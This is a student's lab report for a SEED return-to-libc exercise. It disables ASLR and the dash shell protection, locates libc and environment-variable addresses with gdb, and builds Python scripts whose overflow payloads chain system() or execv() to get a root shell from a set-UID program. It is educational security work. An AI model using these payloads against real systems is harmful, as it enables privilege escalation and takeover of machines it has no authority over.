James Stockwell
CS 574

Return-to-libc Attack Lab

1 Environment Setup

As with the previous lab we need to deactivate the various protections that would prevent our exploit from working.

```
[10/23/24]seed@VM:~/.../James_Stockwell_Lab3$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[10/23/24]seed@VM:~/.../James_Stockwell_Lab3$ sudo ln -sf /bin/zsh /bin/sh
[10/23/24]seed@VM:~/.../James_Stockwell_Lab3$
```

First we deactivate the ASLR and dash shell protections for our attack as we did in the buffer overflow lab.

```
[10/23/24]seed@VM:~/.../James_Stockwell_Lab3$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[10/23/24]seed@VM:~/.../James_Stockwell_Lab3$ ls
exploit.py  Labsetup  Labsetup.zip  Makefile  retlib  retlib.c
[10/23/24]seed@VM:~/.../James_Stockwell_Lab3$
```

Using the makefile we compile the retlib set-UID 32-bit program we will be exploiting. The makefile provides the flags we need to disable the non-executable stack protection.

2 Lab Tasks

2.1 Task 1: Finding out the Addresses of libc Functions

In the first task we familiarize ourselves with the vulnerable program and find the addresses of the libc functions we will be redirecting the vulnerable function's return address to.

Observations:

```
[10/23/24]seed@VM:~/.../James_Stockwell_Lab3$ touch badfile
[10/23/24]seed@VM:~/.../James_Stockwell_Lab3$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a l
```

```
Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$ quit
[10/23/24]seed@VM:~/.../James_Stockwell_Lab3$
```

We use gdb to retrieve the addresses of the system() and exit() functions that we need to call for our exploit. These addresses are not affected by any offset created by running the program with gdb.

```
[10/23/24]seed@VM:~/.../James_Stockwell_Lab3$ cat gdb_command.txt
break main
run
p system
p exit
quit
[10/23/24]seed@VM:~/.../James_Stockwell_Lab3$
```

For future use I made a command file for easier gdb testing using batch mode.

2.2 Task 2: Putting the shell string in the memory

We wish to use the exploit to open a root shell. To do this we must pass /bin/sh as an argument for the system() call. To do this we will set up an environment variable and find its address. The program we're exploiting will spawn a child process that will inherit this environment variable.

Observations:

```
[10/23/24]seed@VM:~/.../James_Stockwell_Lab3$ export MYSHELL=/bin/sh
[10/23/24]seed@VM:~/.../James_Stockwell_Lab3$ env | grep MYSHELL
MYSHELL=/bin/sh
[10/23/24]seed@VM:~/.../James_Stockwell_Lab3$
```

Here we make the environment variable we want our exploit to use.

```c
//Made by James Stockwell
void main(){
        char* shell = getenv("MYSHELL");
        if (shell)
                printf("%x\n", (unsigned int)shell);
}
```

We make and run a program called prtenv in order to retrieve the address of our new environment variable so it can be used in our attack. Note that this program has the same name length as retlib in order to ensure the address will match between both programs.

```
[10/23/24]seed@VM:~/.../James_Stockwell_Lab3$ vim prtenv.c
[10/23/24]seed@VM:~/.../James_Stockwell_Lab3$ gcc -m32 -o prtenv prtenv.c
[10/27/24]seed@VM:~/.../James_Stockwell_Lab3$ export MYSHELL=/bin/sh
[10/27/24]seed@VM:~/.../James_Stockwell_Lab3$ prtenv
ffffd458
[10/27/24]seed@VM:~/.../James_Stockwell_Lab3$
```

With the address retrieved we now have what we need to start the attack.

3.3 Task 3: Launching the Attack

Now we create our badfile using a python exploit script like in the last lab.

Observations:

```python
#!/usr/bin/env python3
# Edited by James Stockwell
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

ofs = 16

X = 20+ofs
sh_addr = 0xffffd458        # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 12+ofs
system_addr = 0xf7e12420    # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 16+ofs
exit_addr = 0xf7e04f80      # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

The order of commands must go system(), exit(), /bin/sh to ensure a successful attack. The exit() call helps clean up the mess caused by invoking system() while /bin/sh acts as an argument for system(). Knowing that the buffer size for the program is 12, I used the ofs variable to increment the address locations until I overflowed the vulnerable function's return address.

```
[10/27/24]seed@VM:~/.../James_Stockwell_Lab3$ exploit.py
[10/28/24]seed@VM:~/.../James_Stockwell_Lab3$ retlib
Address of input[] inside main():  0xffffcdf0
Input size: 300
Address of buffer[] inside bof():  0xffffcdc0
Frame Pointer value inside bof():  0xffffcdd8
# 
```

Here is a successful run of the attack.

Attack variation 1

Here we run the attack without the exit() command to see if its necessary for the attack.

Observations:

```
#!/usr/bin/env python3
# Edited by James Stockwell
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

ofs = 16

X = 16+ofs
sh_addr = 0xffffd458        # The address of "bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 12+ofs
sh_addr = 0xf7e12420        # The address of system()
content[Y:Y+4] = (sh_addr).to_bytes(4,byteorder='little')

#Z = 16+ofs
#exit_addr = 0xf7e04f80        # The address of exit()
#content[Z:Z+4] = (sh_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

I comment out the exit() inclusion in the badfile and adjust the X value to place sh_addr in its place.

```
[10/30/24]seed@VM:~/.../James_Stockwell_Lab3$ retlib
Address of input[] inside main():  0xffffcdf0
Input size: 300
Address of buffer[] inside bof():  0xffffcdc0
Frame Pointer value inside bof():  0xffffcdd8
Segmentation fault
[10/30/24]seed@VM:~/.../James_Stockwell_Lab3$
```

The failure of the attack shows that the exit() function is necessary for the attack to run.

Attack variation 2:

```
[10/28/24]seed@VM:~/.../James_Stockwell_Lab3$ mv retlib newretlib
[10/28/24]seed@VM:~/.../James_Stockwell_Lab3$ ls
badfile          Labsetup      newretlib                prtenv.c
exploit.py       Labsetup.zip  peda-session-retlib.txt  retlib.c
gdb_command.txt  Makefile      prtenv
[10/28/24]seed@VM:~/.../James_Stockwell_Lab3$ exploit.py
[10/28/24]seed@VM:~/.../James_Stockwell_Lab3$ newretlib
Address of input[] inside main():  0xffffcdf0
Input size: 300
Address of buffer[] inside bof():  0xffffcdc0
Frame Pointer value inside bof():  0xffffcdd8
zsh:1: command not found: h
[10/28/24]seed@VM:~/.../James_Stockwell_Lab3$ mv newretlib retlib
[10/28/24]seed@VM:~/.../James_Stockwell_Lab3$ exploit.py
[10/28/24]seed@VM:~/.../James_Stockwell_Lab3$ retlib
Address of input[] inside main():  0xffffcdf0
Input size: 300
Address of buffer[] inside bof():  0xffffcdc0
Frame Pointer value inside bof():  0xffffcdd8
#
```

As can be seen, renaming the vulnerable program causes it to have a segmentation fault again when supplied with the same badfile. This is likely because the difference in file name length leads to a small difference in the address space that shifts the values of the previously recorded addresses

3.4 Task 4: Defeat Shell's countermeasure

First for this lab we relink the shell back to dash in order to enable its protection.

```
[10/28/24]seed@VM:~/.../James_Stockwell_Lab3$ sudo ln -sf /bin/dash /bin/sh
[10/28/24]seed@VM:~/.../James_Stockwell_Lab3$
```

Observations:

```
Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p execv
$1 = {<text variable, no debug info>} 0xf7e994b0 <execv>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$ p -p
No symbol table is loaded.  Use the "file" command.
gdb-peda$ p p
No symbol table is loaded.  Use the "file" command.
gdb-peda$ exit
Undefined command: "exit".  Try "help".
gdb-peda$ quit
[10/28/24]seed@VM:~/.../James_Stockwell_Lab3$
```

I needed to get the address of execv() so I used gdb to find its address as I did with system() in the previous tasks. I also tried to find the address of “-p” before realizing I needed to make a new environment variable.

```
//Made by James Stockwell
void main(){
        char* shell = getenv("MYSHELL");
        char* flag = getenv("MYFLAG");
        if (shell)
                printf("MYSHELL = %x\n", (unsigned int)shell);
        if (flag)
                printf("MYFLAG =  %x\n", (unsigned int)flag);
```

I edited the prtenv program so it would show the address of my second environment variable.

```
[10/30/24]seed@VM:~/.../James_Stockwell_Lab3$ export MYSHELL=/bin/sh
[10/30/24]seed@VM:~/.../James_Stockwell_Lab3$ export MYFLAG=-p
[10/30/24]seed@VM:~/.../James_Stockwell_Lab3$ prtenv
MYSHELL = ffffd44e
MYFLAG =  ffffde90
```

Now I have both addresses of both environment variables I need.

```
#!/usr/bin/env python3
# Edited by James Stockwell
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

input_addr = 0xffffcde0
ofs = 16
null_arg =("\x00\x00\x00\x00").encode('latin-1')
sh_addr = 0xffffd44e       # The address of "/bin/sh"
execv_addr = 0xf7e994b0     # The address of execv()
fl_addr = 0xffffde90        # The address of "-p"
exit_addr = 0xf7e04f80     # The address of exit()
sys_addr = 0xf7e12420       #The address of system()

X = 12+ofs #location for return address overflow
Y = 64      #location of argv[] for execv()

content[X:X+4] = (execv_addr).to_bytes(4,byteorder='little')#execv()
content[X+4:X+8] = (exit_addr).to_bytes(4,byteorder='little')#exit()
content[X+8:X+12] = (sh_addr).to_bytes(4,byteorder='little')#pathname
content[X+12:X+16] = (input_addr+Y).to_bytes(4,byteorder='little')#argv[]

content[Y:Y+4] = (sh_addr).to_bytes(4,byteorder='little')#argv[0]
content[Y+4:Y+8] = (fl_addr).to_bytes(4,byteorder='little')#argv[1]
content[Y+8:Y+12] = null_arg #argv[2]

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

For my code I split the exploitive input between two locations. First I placed the execv(), exit(), and pathname addresses at the return address as I have in the previous tasks. For the argv array I placed it further inside the buffer and had the last part of my offset command chain point to it. This allows the null argument 0x00000000 to be used without it being read by the strcpy() in the program.

```
[10/30/24]seed@VM:~/.../James_Stockwell_Lab3$ exploit.py
[10/30/24]seed@VM:~/.../James_Stockwell_Lab3$ retlib
Address of input[] inside main():  0xffffcde0
Input size: 300
Address of buffer[] inside bof():  0xffffcdb0
Frame Pointer value inside bof():  0xffffcdc8
# 
```

Here is a successful run of the attack.